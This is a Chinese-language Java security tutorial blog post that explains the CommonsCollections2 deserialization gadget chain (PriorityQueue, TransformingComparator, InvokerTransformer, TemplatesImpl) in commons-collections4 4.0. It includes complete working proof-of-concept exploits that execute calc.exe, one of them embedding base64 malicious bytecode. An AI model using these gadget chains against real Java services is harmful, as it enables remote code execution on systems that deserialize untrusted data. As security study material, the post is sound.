【java安全】CommonsCollections2(4.0)

本文最后更新于：2023年9月1日 上午

[TOC]

【java安全】CommonsCollections2

前言

Apache Commons Collections是一个重要的辅助开发库。包含了⼀些Java中没有的数据结构和和辅助方法，不过随着Java 9以后的版本中原⽣库功能的丰富，以及反序列化漏洞的影响，它也在逐渐被升级或替代。

在2015年cc链被提出时，Apache Commons Collections有两个分支：

  • commons-collections:commons-collections（当时版本3.2.1）
  • org.apache.commons:commons-collections4（当时版本4.0）

官方认为旧的commons-collections有⼀些架构和API设计上的问题，但修复这些问题，会产生⼤量不能 向前兼容的改动。所以，commons-collections4不再认为是⼀个用来替换commons-collections的新版 本，而是⼀个新的包，两者的命名空间不冲突，因此可以共存在同⼀个项目中。
那么很自然有个问题，既然3.2.1中存在反序列化利用链，那么4.0版本是否存在呢？

Commons-Collections4版本中能否调用cc6等链子？

我们在maven中导入这两个分支版本的jar包

image-20230720133253851

我们复制原来的cc6 poc进来：

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import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
//        sun.reflect.annotation.AnnotationInvocationHandler
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法，从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);


        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

由于这里我们用到的是Commons-Collections4 4.0版本，所以我们需要将import导入的类org.apache.commons.collections换为：org.apache.commons.collections4

image-20230720133810797

结果发现LazyMap#decorate()方法爆红了，在Commons-Collections4中没有该方法

我们看一下原来decorate()方法的逻辑：

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public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

就是调用LazyMap的构造方法而已

我们在Commons-Collections4中发现了lazyMap()方法可以用来代替

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public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {
        return new LazyMap(map, factory);
    }

替换一下就好了

image-20230720135006891

成功弹出计算器，说明可以在Commons-Collections4中执行cc1、cc6等链子

PriorityQueue利用链

除了前面学习的几条利用链，ysoserial还提出了2条新的链子：

  • CommonsCollections2
  • CommonsCollections4

我们这里学习一下CommonsCollections2

首先了解一下java.util.PriorityQueue：

PriorityQueue

这个类中存在readObject()方法：

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private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

反序列化时会调用heapify()方法：

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private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

heapify()方法会调用siftDown()方法，继而调用siftDownUsingComparator()，然后调用comparator.compare()方法，这个comparator变量是可控的，我们看一下PriorityQueue的构造方法：

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public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

comparator是一个Comparator类型的对象，我们可以找到一个org.apache.commons.collections4.comparators.TransformingComparator类

TransformingComparator

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public class TransformingComparator implements Comparator {
    protected Comparator decorated;
    protected Transformer transformer;

    public TransformingComparator(Transformer transformer) {
        this(transformer, new ComparableComparator());
    }

    public TransformingComparator(Transformer transformer, Comparator decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(Object obj1, Object obj2) {
        Object value1 = this.transformer.transform(obj1);
        Object value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

这个TransformingComparator类的compare()方法可以调用transform方法

于是我们就可以构造一条从PriorityQueue到TransformingComparator调用其compare()方法，再调用transform()方法导致反序列化的链子了

使用了phithon的总结：

  • java.util.PriorityQueue是⼀个优先队列（Queue），基于⼆叉堆实现，队列中每⼀个元素有自己的优先级，节点之间按照优先级大小排序成⼀棵树
  • 反序列化时为什么需要调⽤heapify()⽅法？为了反序列化后，需要恢复（换⾔之，保证）这个 结构的顺序
  • 排序是靠将⼤的元素下移实现的。siftDown()是将节点下移的函数，⽽comparator.compare()⽤来⽐较两个元素⼤⼩
  • TransformingComparator实现了java.util.Comparator接⼝，这个接⼝⽤于定义两个对象如 何进⾏⽐较。siftDownUsingComparator()中就使⽤这个接⼝的compare()⽅法⽐较树的节点。

关于PriorityQueue这个数据结构的具体原理，可以参考这篇⽂章：https://www.cnblogs.com/linghu-java/p/9467805.html

POC

首先创建Transformer：

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Transformer[] fakeTransformers = new Transformer[] {
    new ConstantTransformer(1)}; 
Transformer[] transformers = new Transformer[] { 
    new ConstantTransformer(Runtime.class), 
    new InvokerTransformer("getMethod", 
                           new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
	new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), 
    new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

再创建一个TransformingComparator

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Comparator comparator = new TransformingComparator(transformerChain);

然后我们需要实例化PriorityQueue

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public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

第一个参数是初始化的大小，至少要两个才能触发排序和比较，所以填入2，第二个参数是Comparator传入之前创建的comparator

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PriorityQueue queue = new PriorityQueue(2, comparator); 
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去，这⾥可以传⼊⾮null的任意对象，因为我们的Transformer是忽略传⼊参 数的。

最后，将真正的恶意Transformer设置上：

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setFieldValue(transformerChain, "iTransformers", transformers);

完整POC：

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import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),};
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        Comparator comparator = new
                TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

进阶POC

前面我们学习了TemplatesImpl不使用Transformer数组的形式构造，下面我们构造一个POC

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }



    public static void main(String[] args) throws Exception {
        String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=";
        byte[] bytes= Base64.getDecoder().decode(s);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

POC分析

我们从简单分析一下这条链子：

首先创建一个TemplatesImpl对象obj，

  • 使用反射的方式设置_bytecodes，内容是恶意的字节码数组，

  • 设置_name代表字节码反序列化文件的名字为HelloTemplatesImpl

  • _tfactory设置为TransformerFactoryImpl对象，防止为null返回导致不成功

然后创建一个InvokerTransformer对象，调用方法本来需要调用newTransformer()方法，但是先传入toString()，防止干扰

然后需要找一个类去调用InvokerTransformer#transform()方法，我们可以找到TransformingComparator类，TransformingComparator#compare()方法可以调用transform()方法，并且可以控制形参

如何调用TransformingComparator#compare()方法，可以追溯到PriorityQueue#readObjct()方法

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private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

这个方法很重要，会根据PriorityQueue传入形参的大小形成相应大小的队列

从readObject()方法可以形成一个调用链（queue的值很关键）

image-20230720164025961

我们首先需要创建一个PriorityQueue对象

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// `2`代表队列大小为2
PriorityQueue queue = new PriorityQueue(2, comparator);

然后需要往队列里面添加两个值，这一次添加的值很重要，不能随便添加（Comparator#compare()方法调用transform()方法需要传入TemplatesImpl对象）

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queue.add(obj);
queue.add(obj);

我们分析一下PriorityQueue#add()方法的执行过程：

image-20230720165831296

到这里我们就可以理解为什么之前要将InvokerTransform中方法换为toString()了，威为的是防止提前触发compare()方法

在add()之后，我们将InvokerTransformer的iMethodName从toString改为newTransformer就大功告成了

调用链

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PriorityQueue#readObject()
    heapify()
    	siftDown()
    		siftDownUsingComparator()
    			Comparator#compare()
    				InvokerTransformer#transform()
    					...
java安全
#【java安全】CommonsCollections2(4.0)
【java安全】CommonsCollections2(4.0)
https://leekosss.github.io/2023/08/24/[java安全]CommonsCollections2(4.0)/
作者
leekos
发布于
2023年8月24日
更新于
2023年9月1日
许可协议